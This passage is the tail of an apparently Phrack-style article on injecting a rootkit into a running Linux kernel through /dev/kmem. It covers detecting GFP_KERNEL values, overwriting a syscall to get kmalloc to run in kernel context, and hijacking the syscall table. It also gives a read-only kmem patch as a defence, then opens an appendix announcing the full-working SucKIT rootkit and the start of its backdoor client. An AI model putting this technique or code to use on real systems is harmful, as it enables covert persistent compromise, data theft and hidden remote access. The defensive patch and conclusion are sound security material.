return 0;
}
The code above is a simple state machine and it doesn't bother itself with
potentionaly different asm code layout (when you use some exotic GCC
options). It could be extended to understand different code patterns (see
switch statement) and can be made more accurate by checking GFP value in
PUSHes against known patterns (see paragraph bellow).
The accuracy of this code is about 80% (i.e. 80% points to kmalloc, 20% to
some junk) and seem to work on 2.2.1 => 2.4.13 ok.
--[ 4.3 The GFP_KERNEL value
Next problem we get while using kmalloc() is the fact that value of
GFP_KERNEL varies between kernel series, but we can get rid of it
by help of uname()
+-----------------------------------+
| kernel version | GFP_KERNEL value |
+----------------+------------------+
| 1.0.x .. 2.4.5 | 0x3 |
+----------------+------------------+
| 2.4.6 .. 2.4.x | 0x1f0 |
+----------------+------------------+
Note that there is some troubles with 2.4.7-2.4.9 kernels, which
sometimes crashes due to bad GFP_KERNEL, simply because
the table above is not exact, it only shows values we CAN use.
The code:
#define NEW_GFP 0x1f0
#define OLD_GFP 0x3
/* uname struc */
struct un {
char sysname[65];
char nodename[65];
char release[65];
char version[65];
char machine[65];
char domainname[65];
};
int get_gfp()
{
struct un s;
uname(&s);
if ((s.release[0] == '2') && (s.release[2] == '4') &&
(s.release[4] >= '6' ||
(s.release[5] >= '0' && s.release[5] <= '9'))) {
return NEW_GFP;
}
return OLD_GFP;
}
--[ 4.3 - Overwriting a syscall
As we mentioned above, we can't call kmalloc() from user-space directly,
solution is Silvio's trick [2] of replacing syscall:
1. Get address of some syscall
(IDT -> int 0x80 -> sys_call_table)
2. Create a small routine which will call kmalloc() and return
pointer to allocated page
3. Save sizeof(our_routine) bytes of some syscall
4. Overwrite code of some syscall by our routine
5. Call this syscall from userspace thru int $0x80, so
our routine will operate in kernel context and
can call kmalloc() for us passing out the
address of allocated memory as return value.
6. Restore code of some syscall with saved bytes (in step 3.)
our_routine may look as something like that:
struct kma_struc {
ulong (*kmalloc) (uint, int);
int size;
int flags;
ulong mem;
} __attribute__ ((packed));
int our_routine(struct kma_struc *k)
{
k->mem = k->kmalloc(k->size, k->flags);
return 0;
}
In this case we directly pass needed info to our routine.
Now we have kernel memory, so we can copy our handling routines
there, point entries in fake sys_call_table to them, infiltrate
this fake table into int $0x80 and enjoy the ride :)
--[ 5 - What you should take care of
It would be good idea to follow these rules when writing something using
this technique:
- Take care of kernel versions (We mean GFP_KERNEL).
- Play _only_ with syscalls, _do not_ use any internal kernel
structures including task_struct, if you want to stay portable
between kernel series.
- SMP may cause some troubles, remember to take care
about reentrantcy and where it is needed, use
user-space locks [ src/core.c#ualloc() ]
--[ 6 - Possible solutions
Okay, now from the good man's point of view. You probably would
like to defeat attacks of kids using such annoying toys. Then you
should apply following kmem read-only patch and disable LKM
support in your kernel.
<++> kmem-ro.diff
--- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001
+++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001
@@ -49,6 +51,8 @@
const char * buf, size_t count, loff_t *ppos)
{
ssize_t written;
+ /* disable kmem write */
+ return -EPERM;
written = 0;
#if defined(__sparc__) || defined(__mc68000__)
<-->
Note that this patch can be source of troubles in conjuction with
some old utilities which depends on /dev/kmem writing ability.
That's payment for security.
--[ 7 - Conclusion
The raw memory I/O devices in linux seems to be pretty powerful.
Attackers (of course, with root privileges) can use them
to hide their actions, steal informations, grant remote access and so on
for a long time without being noticed. As far we know, there is not so
big use of these devices (in the meaning of write access), so it may be
good idea to disable their writing ability.
--[ 8 - References
[1] Silvio Cesare's homepage, pretty good info about low-level linux stuff
[http://www.big.net.au/~silvio]
[2] Silvio's article describing run-time kernel patching (System.map)
[http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt]
[3] QuantumG's homepage, mostly virus related stuff
[http://biodome.org/~qg]
[4] "Abuse of the Linux Kernel for Fun and Profit" by halflife
[Phrack issue 50, article 05]
[5] "(nearly) Complete Linux Loadable Kernel Modules. The definitive guide
for hackers, virus coders and system administrators."
[http://www.thehackerschoice.com/papers]
At the end, I (sd) would like to thank to devik for helping me a lot with
this crap, to Reaction for common spelling checks and to anonymous
editor's friend which proved the quality of article a lot.
--[ 9 - Appendix - SucKIT: The implementation
I'm sure that you are smart enough, so you know how to extract, install and
use these files.
[MORONS HINT: Try Phrack extraction utility, ./doc/README]
ATTENTION: This is a full-working rootkit as an example of the technique
described above, the author doesn't take ANY RESPONSIBILITY for
any damage caused by (mis)use of this software.
<++> ./client/Makefile
client: client.c
$(CC) $(CFLAGS) -I../include client.c -o client
clean:
rm -f client core
<--> ./client/Makefile
<++> ./client/client.c
/* $Id: client.c, TTY client for our backdoor, see src/bd.c */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include